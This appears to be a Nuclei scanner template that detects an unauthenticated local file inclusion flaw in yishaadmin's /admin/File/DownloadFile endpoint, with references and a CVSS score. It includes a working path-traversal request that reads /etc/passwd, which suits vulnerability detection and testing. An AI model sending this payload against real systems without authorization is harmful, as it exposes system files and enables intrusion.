id: yishaadmin-lfi

info:
  name: yishaadmin - Local File Inclusion
  author: Evan Rubinstein
  severity: high
  description: yishaadmin is vulnerable to local file inclusion via the "/admin/File/DownloadFile" endpoint and allows files to be downloaded, read or deleted without any authentication.
  reference:
    - https://huntr.dev/bounties/2acdd87a-12bd-4ce4-994b-0081eb908128/
    - https://github.com/liukuo362573/YiShaAdmin/blob/master/YiSha.Util/YiSha.Util/FileHelper.cs#L181-L186
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: lfi,yishaadmin,huntr

http:
  - raw:
      - |
        GET /admin/File/DownloadFile?filePath=wwwroot/..././/..././/..././/..././/..././/..././/..././/..././etc/passwd&delete=0 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204f9795d99f4b59a2300918a1e6bd3e93a699aa3e5a4b4a4e786e43b7b7fba597022100b9fcd3e5cadb3c6ff53e758ce7002273d1d3ca47779d78ae0e0085076c95a461:922c64590222798bb761d5b6d8e72950